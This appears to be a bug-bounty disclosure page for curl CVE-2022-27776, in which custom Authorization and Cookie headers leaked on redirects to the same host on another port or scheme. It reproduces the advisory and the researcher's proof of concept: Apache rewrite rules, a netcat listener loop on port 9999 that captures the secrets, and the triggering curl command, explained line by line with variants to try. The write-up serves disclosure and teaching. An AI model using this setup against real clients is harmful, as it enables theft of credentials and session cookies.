CVE-2022-27776: Auth/cookie leak on redirect
curl and libcurl would send custom Authorization and Cookie headers to a different port or scheme on the same host when following a redirect, contrary to the intended same-host check. An attacker who can control a redirect or observe traffic on another port could capture those sensitive headers.
- Fixed in 36 hours
- Paid in 36 hours
- Disclosed after 47 hours
Summary by the program
Auth/cookie leak on redirect Project curl Security Advisory, April 27 2022
VULNERABILITY curl might leak authentication or cookie header data on HTTP redirects to the same host but another port number.
When asked to send custom headers or cookies in its HTTP requests, curl sends that set of headers only to the host which name is used in the initial URL, so that redirects to other hosts will make curl send the data to those. However, due to a flawed check, curl wrongly also sends that same set of headers to the hosts that are identical to the first one but use a different port number or URL scheme. Contrary to expectation and intention.
Sending the same set of headers to a server on a different port number is a problem for applications that pass on custom Authorization: or Cookie: headers, as those headers often contain privacy sensitive information or data.
curl and libcurl have options that allow users to opt out from this check, but that is not set by default.
We are not aware of any exploit of this flaw.
INFO This flaw was added in curl 4.9 with the introduction of --location and has been present in all libcurl versions ever released. In July 2000 in the curl 7.1.1 release, this commit was the first version that attempted to avoid this, but the check has been bad since then.
In 2018, CVE-2018-1000007 was reported that partly addressed this area - but in an incomplete way.
The Common Vulnerabilities and Exposures (CVE) project has assigned the name CVE-2022-27776 to this issue.
CWE-522: Insufficiently Protected Credentials Severity: Low
AFFECTED VERSIONS Affected versions: curl 4.9 to and including 7.82.0 Not affected versions: curl < 4.9 and curl >= 7.83.0 Also note that libcurl is used by many applications, and not always advertised as such.
THE SOLUTION In curl version 7.83.0, the same-host check is extended to check the port number and protocol as well.
RECOMMENDATIONS A - Upgrade curl to version 7.83.0 B - Apply the patch to your local version C - Do not enable CURLOPT_FOLLOWLOCATION if you pass on custom Authorization: headers or cookies.
TIMELINE This issue was reported to the curl project on April 21, 2022. We contacted distros@openwall on April 22. libcurl 7.83.0 was released on April 27 2022, coordinated with the publication of this advisory.
CREDITS This issue was reported by Harry Sintonen. Patched by Daniel Stenberg. Thanks a lot!
Full Advisory can be found at: https://curl.se/docs/CVE-2022-27776.html
The report
Summary:
curl/libcurl can be coaxed to leak Authorization / Cookie headers by redirecting request to http:// URL on the same host. Successful exploitation requires that the attacker can either Man-in-the-Middle the connection or can access the traffic at the recipient side (for example by redirecting to a non-privileged port such as 9999 on the same host).
Steps To Reproduce:
-
Configure for example Apache2 to perform redirect with mod_rewrite:
RewriteCond %{HTTP_USER_AGENT} "^curl/" RewriteRule ^/redirectpoc http://hostname.tld:9999 [R=301,L]
... the attacker could also use .htpasswd file to do so.
2. Set up netcat to listen for the incoming secrets:
while true; do echo -ne 'HTTP/1.1 404 nope\r\nContent-Length: 0\r\n\r\n' | nc -v -l -p 9999; done
3. curl-L -H "Authorization: secrettoken" -H "Cookie: secretcookie" https://hostname.tld/redirectpoc
The redirect will be followed, and the confidential headers sent over insecure HTTP to the specified port:
GET / HTTP/1.1
Host: hostname.tld:9999
User-Agent: curl/7.83.0-DEV
Accept: */*
Authorization: secrettoken
Cookie: secretcookie
The attack could also use HTTPS and a valid certificate, In this case the leaked headers are of course only be visible to the listening http server.
This vulnerability is quite similar to CVE-2022-27774 and the fix is similar too: If the protocol or port number differs from the original request strip the Authorization and Cookie headers.
This bug appears to be at:
- https://github.com/curl/curl/blob/94ac2ca7754f6ee13c378fed2e731aee61045bb1/lib/http.c#L1904
- https://github.com/curl/curl/blob/94ac2ca7754f6ee13c378fed2e731aee61045bb1/lib/http.c#L850
Impact
Leak of Authorization and/or Cookie headers.
Context
curl is a command-line tool and libcurl is the library behind it, used to transfer data over HTTP and other protocols. One of its features is following HTTP redirects, enabled with --location on the command line or CURLOPT_FOLLOWLOCATION in libcurl. When a user passes custom headers such as Authorization: or Cookie:, curl is meant to send those headers only to the host named in the initial URL, so that a redirect to a different host does not carry the credentials along.
The flaw described here is that this protection was incomplete. curl also sent the same set of custom headers to hosts that were identical to the first one but used a different port number or URL scheme. The CVE project assigned the name CVE-2022-27776 to the issue, classified as CWE-522 (Insufficiently Protected Credentials) with Low severity. The affected range is curl 4.9 up to and including 7.82.0; versions before 4.9 and from 7.83.0 onward are not affected.
Setup
The researcher's reproduction uses a host reachable as hostname.tld, an Apache2 server with mod_rewrite on that host, and a netcat listener on port 9999 of the same host. The client is curl invoked with -L to follow redirects and with two custom headers carrying a token and a cookie. The captured request shows a User-Agent of curl/7.83.0-DEV.
The precondition for a successful attack is that the attacker can either Man-in-the-Middle the connection or can access the traffic at the recipient side, for example by redirecting to a non-privileged port such as 9999 on the same host.
Finding it
The researcher's summary is that curl and libcurl can be coaxed to leak Authorization and Cookie headers by redirecting a request to an http:// URL on the same host. The expectation, and the documented intention, is that custom headers go only to the host from the initial URL and are not carried to other hosts on redirect. Because the same-host check did not take the port number or the scheme into account, a redirect to the same host name on a different port, or over a different scheme, still received the headers.
The report notes that this vulnerability is quite similar to CVE-2022-27774 and that the fix is similar too: if the protocol or port number differs from the original request, strip the Authorization and Cookie headers.
Exploitation
Step 1: Set up the redirect
The attacker arranges for the server to answer a request with a redirect to the same host on port 9999. With Apache2 and mod_rewrite this can be done as follows:
RewriteCond %{HTTP_USER_AGENT} "^curl/"
RewriteRule ^/redirectpoc http://hostname.tld:9999 [R=301,L]
The condition matches requests whose User-Agent begins with curl/, and the rule answers requests for /redirectpoc with a 301 redirect to http://hostname.tld:9999. The report adds that the attacker could also use an .htpasswd file to do so.
Step 2: Listen for the incoming secrets
The attacker runs a netcat listener on port 9999 that answers every connection with a minimal 404 response:
while true; do echo -ne 'HTTP/1.1 404 nope\r\nContent-Length: 0\r\n\r\n' | nc -v -l -p 9999; done
The loop keeps the listener running, and each connection receives a short HTTP/1.1 404 nope response with Content-Length: 0. Anything the client sends to that port is printed by netcat.
Step 3: Send the request with credentials
The victim, or the application using libcurl, makes a request to the redirecting endpoint and passes the sensitive headers:
curl-L -H "Authorization: secrettoken" -H "Cookie: secretcookie" https://hostname.tld/redirectpoc
The initial request goes over HTTPS to hostname.tld with the two custom headers. The server answers with the 301 redirect to http://hostname.tld:9999, and curl follows it.
Result
The redirect is followed, and the confidential headers are sent over insecure HTTP to the specified port. The listener receives:
GET / HTTP/1.1
Host: hostname.tld:9999
User-Agent: curl/7.83.0-DEV
Accept: */*
Authorization: secrettoken
Cookie: secretcookie
The Host header shows the same host name on the new port, and both custom headers are present in the request that arrives at the attacker-controlled listener.
The report notes that the attack could also use HTTPS with a valid certificate. In that case the leaked headers would of course only be visible to the listening HTTP server.
Root cause
The same-host check that decides whether custom headers may be forwarded on a redirect was flawed and did not take the port number and the protocol into account. A redirect to the same host name on another port, or over another scheme, therefore passed the check and the headers were sent along. The report points at two locations in lib/http.c as the likely site of the bug:
https://github.com/curl/curl/blob/[redacted]/lib/http.c#L1904https://github.com/curl/curl/blob/[redacted]/lib/http.c#L850
The flaw was introduced in curl 4.9 together with --location and was present in all libcurl versions ever released. In July 2000, in the curl 7.1.1 release, a commit made the first attempt to avoid this, but the check has been bad since then. In 2018, CVE-2018-1000007 was reported and partly addressed this area, but in an incomplete way. curl and libcurl have options that allow users to opt out from this check, but that is not set by default.
Impact
The impact is a leak of Authorization and/or Cookie headers. This matters for applications that pass on custom Authorization: or Cookie: headers, as those headers often contain privacy sensitive information or data. Exploitation requires that the attacker can either Man-in-the-Middle the connection or can access the traffic at the recipient side, for example by redirecting to a non-privileged port such as 9999 on the same host. The advisory states that the curl project was not aware of any exploit of this flaw.
Fix
In curl version 7.83.0, the same-host check is extended to check the port number and protocol as well. The advisory gives three recommendations:
- Upgrade curl to version 7.83.0.
- Apply the patch to your local version.
- Do not enable
CURLOPT_FOLLOWLOCATIONif you pass on customAuthorization:headers or cookies.
The issue was reported to the curl project on April 21, 2022, and distros@openwall was contacted on April 22. libcurl 7.83.0 was released on April 27, 2022, coordinated with the publication of the advisory. The issue was reported by Harry Sintonen and patched by Daniel Stenberg.
Variants to test
- Redirect to the same host name on a different port, as in the report. A positive result is the custom
Authorization:orCookie:header appearing in the request that reaches the listener on the new port. - Redirect from HTTPS to HTTP on the same host, which changes the scheme. A positive result is the headers being sent over the insecure scheme.
- Redirect to HTTPS on the same host with a valid certificate, which the report says is also possible. A positive result is the headers arriving at the listening server on the new port.
- Redirects triggered by server configuration other than
mod_rewrite, such as an.htpasswdfile as mentioned in the report. A positive result is the same header leak on the redirected request.
Hunting notes
This kind of bug hides in the redirect handling of HTTP clients and libraries, particularly where a same-origin or same-host decision is made before forwarding credentials. The signal is a client that forwards custom headers across a redirect to the same host name but a different port or scheme. The researcher showed the exact request that arrives at a listener on the other port, including the leaked Authorization and Cookie headers.
Credits
This issue was reported by Harry Sintonen. Patched by Daniel Stenberg. The full advisory is at https://curl.se/docs/CVE-2022-27776.html.
What happened, in plain words
curl is a small program that fetches things from the internet on your behalf. You type a command in a terminal, curl makes the request, and it prints the answer. Many other programs use the same engine under the hood; that engine is called libcurl. So a bug in curl is often a bug in a lot of software you never think of as "curl".
One of curl's features is following redirects. A redirect is what happens when a web server answers a request with "not here, look over there" and gives a new address. Browsers follow redirects all the time without asking you, and curl can do the same when you switch the feature on with --location (or -L for short). In libcurl, the same feature is switched on with an option called CURLOPT_FOLLOWLOCATION.
When you make a request, you can attach extra pieces of information called headers. Two of them matter here. Authorization: carries a credential, a secret string that proves who you are. Cookie: carries a cookie, a small piece of data a site asked your client to keep and send back on later requests, often used to keep you logged in. Both are like a wristband at an event: whoever holds it is treated as you.
The sensible rule, and the one curl intended to follow, is that these secret headers go only to the host named in the address you originally asked for. If a redirect sends you to a different host, the secrets stay behind. The flaw in this report is that the rule was applied too loosely. curl compared only the host name, not the port number or the scheme (http versus https). So a redirect to the same host name on a different port, or over a different scheme, still received the secrets.
The issue is tracked as CVE-2022-27776. A CVE is a public catalogue entry for a known security flaw, so people can refer to it by one name. It is classified as CWE-522, Insufficiently Protected Credentials, which is a category for bugs where secret credentials are not guarded well enough. Severity is Low. Affected versions are curl 4.9 up to and including 7.82.0; versions before 4.9 and from 7.83.0 onward are not affected.
Setting the scene
The researcher's reproduction uses a host reachable as hostname.tld, an Apache2 web server with a module called mod_rewrite on that host, and a netcat listener on port 9999 of the same host. Apache2 is a common web server program. mod_rewrite is an add-on that lets the server rewrite or redirect incoming requests according to rules. Netcat is a small tool that can listen on a network port and print whatever arrives, like holding a bucket under a tap.
The client is curl, run with -L so it follows redirects, and with two custom headers carrying a token and a cookie. The captured request shows a User-Agent of curl/7.83.0-DEV. The User-Agent header is how a client introduces itself to a server.
For the attack to work, the attacker must be able to either sit in the middle of the connection (a Man-in-the-Middle, where traffic passes through the attacker's hands) or reach the traffic at the receiving end, for example by redirecting to a non-privileged port such as 9999 on the same host. A port is a numbered door on a machine; one machine can run many services, each on its own door. A non-privileged port is one that an ordinary user account is allowed to open, without special administrator rights.
Finding it
The researcher's summary is that curl and libcurl can be coaxed to leak Authorization and Cookie headers by redirecting a request to an http:// URL on the same host. The expectation, and the documented intention, is that custom headers go only to the host from the initial URL and are not carried to other hosts on redirect. Because the same-host check did not take the port number or the scheme into account, a redirect to the same host name on a different port, or over a different scheme, still received the headers.
The report notes that this vulnerability is quite similar to CVE-2022-27774 and that the fix is similar too: if the protocol or port number differs from the original request, strip the Authorization and Cookie headers.
Exploitation
Step 1: Set up the redirect
The attacker arranges for the server to answer a request with a redirect to the same host on port 9999. With Apache2 and mod_rewrite this can be done as follows:
RewriteCond %{HTTP_USER_AGENT} "^curl/"
RewriteRule ^/redirectpoc http://hostname.tld:9999 [R=301,L]
Line by line:
RewriteCond %{HTTP_USER_AGENT} "^curl/"is a condition. It looks at theUser-Agentheader of the incoming request and checks whether it starts withcurl/. Only requests whoseUser-Agentstarts withcurl/pass this test.RewriteRule ^/redirectpoc http://hostname.tld:9999 [R=301,L]is the action. For any request whose path is/redirectpoc, the server answers with a redirect tohttp://hostname.tld:9999.R=301means a permanent redirect, the standard "moved" answer.Lmeans stop processing further rules here.
The report adds that the attacker could also use an .htpasswd file to do so. An .htpasswd file is normally used by Apache to store usernames and passwords for protecting a directory; the report mentions it as another way to trigger the redirect.
Step 2: Listen for the incoming secrets
The attacker runs a netcat listener on port 9999 that answers every connection with a minimal 404 response:
while true; do echo -ne 'HTTP/1.1 404 nope\r\nContent-Length: 0\r\n\r\n' | nc -v -l -p 9999; done
Line by line:
while true; do ... doneis a loop that never ends, so the listener keeps coming back after each connection instead of stopping after the first one.echo -ne 'HTTP/1.1 404 nope\r\nContent-Length: 0\r\n\r\n'prints a tiny HTTP response.404means "not found".Content-Length: 0says the body is empty. The\r\nsequences are the carriage return and line feed characters that HTTP uses to end lines, and the final blank line marks the end of the headers.-nstopsechofrom adding its own newline, and-elets it interpret the\r\nescapes.| nc -v -l -p 9999pipes that response into netcat.-ltells netcat to listen,-p 9999picks port 9999, and-vmakes it chatty about what it is doing.
Anything the client sends to that port is printed by netcat, which is exactly what the attacker wants to read.
Step 3: Send the request with credentials
The victim, or the application using libcurl, makes a request to the redirecting endpoint and passes the sensitive headers:
curl-L -H "Authorization: secrettoken" -H "Cookie: secretcookie" https://hostname.tld/redirectpoc
Line by line:
curlis the program being run.-Ltells curl to follow redirects. Without it, curl would show the redirect answer and stop.-H "Authorization: secrettoken"adds a custom header namedAuthorizationwith the valuesecrettoken. This is the credential the client wants to keep private.-H "Cookie: secretcookie"adds a second custom header, a cookie with the valuesecretcookie.https://hostname.tld/redirectpocis the address being requested, over HTTPS, the encrypted version of HTTP.
The initial request goes over HTTPS to hostname.tld with the two custom headers. The server answers with the 301 redirect to http://hostname.tld:9999, and curl follows it. Note the change: the original address was https, the redirect target is plain http, and the port is now 9999.
Result
The redirect is followed, and the confidential headers are sent over insecure HTTP to the specified port. The listener receives:
GET / HTTP/1.1
Host: hostname.tld:9999
User-Agent: curl/7.83.0-DEV
Accept: */*
Authorization: secrettoken
Cookie: secretcookie
Line by line:
GET / HTTP/1.1is the request line: the methodGETasks for a resource,/is the path, andHTTP/1.1is the protocol version.Host: hostname.tld:9999says which host and port the request is aimed at. The host name is the same as the original, only the port has changed.User-Agent: curl/7.83.0-DEVis curl introducing itself.Accept: */*says the client will accept any kind of content.Authorization: secrettokenandCookie: secretcookieare the two secrets, now sitting in a request that arrived at the attacker-controlled listener.
The Host header shows the same host name on the new port, and both custom headers are present in the request that arrives at the attacker-controlled listener.
The report notes that the attack could also use HTTPS with a valid certificate. In that case the leaked headers would of course only be visible to the listening HTTP server.
Root cause
The same-host check that decides whether custom headers may be forwarded on a redirect was flawed and did not take the port number and the protocol into account. A redirect to the same host name on another port, or over another scheme, therefore passed the check and the headers were sent along. The report points at two locations in lib/http.c as the likely site of the bug:
https://github.com/curl/curl/blob/[redacted]/lib/http.c#L1904https://github.com/curl/curl/blob/[redacted]/lib/http.c#L850
These are links into the curl source code, the human-written instructions that make up the program. lib/http.c is the file that handles HTTP, and the #L1904 and #L850 parts point at specific lines in it.
The flaw was introduced in curl 4.9 together with --location and was present in all libcurl versions ever released. In July 2000, in the curl 7.1.1 release, a commit made the first attempt to avoid this, but the check has been bad since then. A commit is a saved change to a codebase. In 2018, CVE-2018-1000007 was reported and partly addressed this area, but in an incomplete way. curl and libcurl have options that allow users to opt out from this check, but that is not set by default.
Impact
The impact is a leak of Authorization and/or Cookie headers. This matters for applications that pass on custom Authorization: or Cookie: headers, as those headers often contain privacy sensitive information or data. Exploitation requires that the attacker can either Man-in-the-Middle the connection or can access the traffic at the recipient side, for example by redirecting to a non-privileged port such as 9999 on the same host. The advisory states that the curl project was not aware of any exploit of this flaw.
Fix
In curl version 7.83.0, the same-host check is extended to check the port number and protocol as well. The advisory gives three recommendations:
- Upgrade curl to version 7.83.0.
- Apply the patch to your local version.
- Do not enable
CURLOPT_FOLLOWLOCATIONif you pass on customAuthorization:headers or cookies.
A patch is a small, targeted change to source code that fixes a problem without replacing the whole program. The third recommendation is the cautious one: if you cannot upgrade, switch off redirect following whenever you are sending secrets.
The issue was reported to the curl project on April 21, 2022, and distros@openwall was contacted on April 22. libcurl 7.83.0 was released on April 27, 2022, coordinated with the publication of the advisory. The issue was reported by Harry Sintonen and patched by Daniel Stenberg.
Variants to test
- Redirect to the same host name on a different port, as in the report. A positive result is the custom
Authorization:orCookie:header appearing in the request that reaches the listener on the new port. - Redirect from HTTPS to HTTP on the same host, which changes the scheme. A positive result is the headers being sent over the insecure scheme.
- Redirect to HTTPS on the same host with a valid certificate, which the report says is also possible. A positive result is the headers arriving at the listening server on the new port.
- Redirects triggered by server configuration other than
mod_rewrite, such as an.htpasswdfile as mentioned in the report. A positive result is the same header leak on the redirected request.
Hunting notes
This kind of bug hides in the redirect handling of HTTP clients and libraries, particularly where a same-origin or same-host decision is made before forwarding credentials. The signal is a client that forwards custom headers across a redirect to the same host name but a different port or scheme. The researcher showed the exact request that arrives at a listener on the other port, including the leaked Authorization and Cookie headers.
Credits
This issue was reported by Harry Sintonen. Patched by Daniel Stenberg. The full advisory is at https://curl.se/docs/CVE-2022-27776.html.
Glossary
- curl: a command-line program for transferring data over the internet, commonly used to make HTTP requests.
- libcurl: the library that does the actual work behind curl, used by many other programs as well.
- HTTP: the language browsers and servers use to exchange web pages and data.
- HTTPS: HTTP wrapped in encryption, so others cannot read the traffic in transit.
- Redirect: a server's answer telling the client to go to a different address instead.
--location/-L: the curl option that makes it follow redirects automatically.CURLOPT_FOLLOWLOCATION: the libcurl setting that does the same thing for programs using the library.- Header: an extra labelled line sent with an HTTP request or response, carrying metadata such as credentials or content type.
Authorization:header: a header that carries a credential proving who the client is.- Cookie: a small piece of data a site asks the client to store and send back on later requests, often used to keep a session logged in.
Cookie:header: the header that carries cookies back to the server.- Host: the name of a machine on the network, such as
hostname.tld. - Port: a numbered door on a machine through which a particular service is reached.
- Non-privileged port: a port number an ordinary user account may open without administrator rights.
- Scheme: the part of an address before
://, such ashttporhttps, saying which protocol to use. User-Agentheader: a header in which the client says what program and version it is.- Man-in-the-Middle: an attack where someone sits between client and server and can read or alter the traffic.
- Apache2: a widely used web server program.
mod_rewrite: an Apache add-on that rewrites or redirects requests according to rules..htpasswdfile: a file Apache normally uses to store usernames and passwords for protecting a directory; the report mentions it as another way to trigger a redirect.- netcat: a small tool that can listen on a port and print whatever arrives.
- CVE: a public catalogue entry giving a known security flaw a unique name.
- CWE-522: a category name for flaws where credentials are not protected well enough.
- Severity: a rough rating of how serious a flaw is, here Low.
- Commit: a saved change to a codebase.
- Patch: a small, targeted code change that fixes a problem.
- Source code: the human-written instructions that make up a program.
lib/http.c: the file in curl's source code that handles HTTP.- Same-host check: the test a client performs to decide whether a redirect stays on the same host and may therefore keep custom headers.
GET: the HTTP method that asks for a resource.- 404: the HTTP status meaning the requested resource was not found.
Content-Length: a header saying how many bytes long the response body is.Accept: a header saying which content types the client will accept.Hostheader: a header saying which host and port the request is aimed at.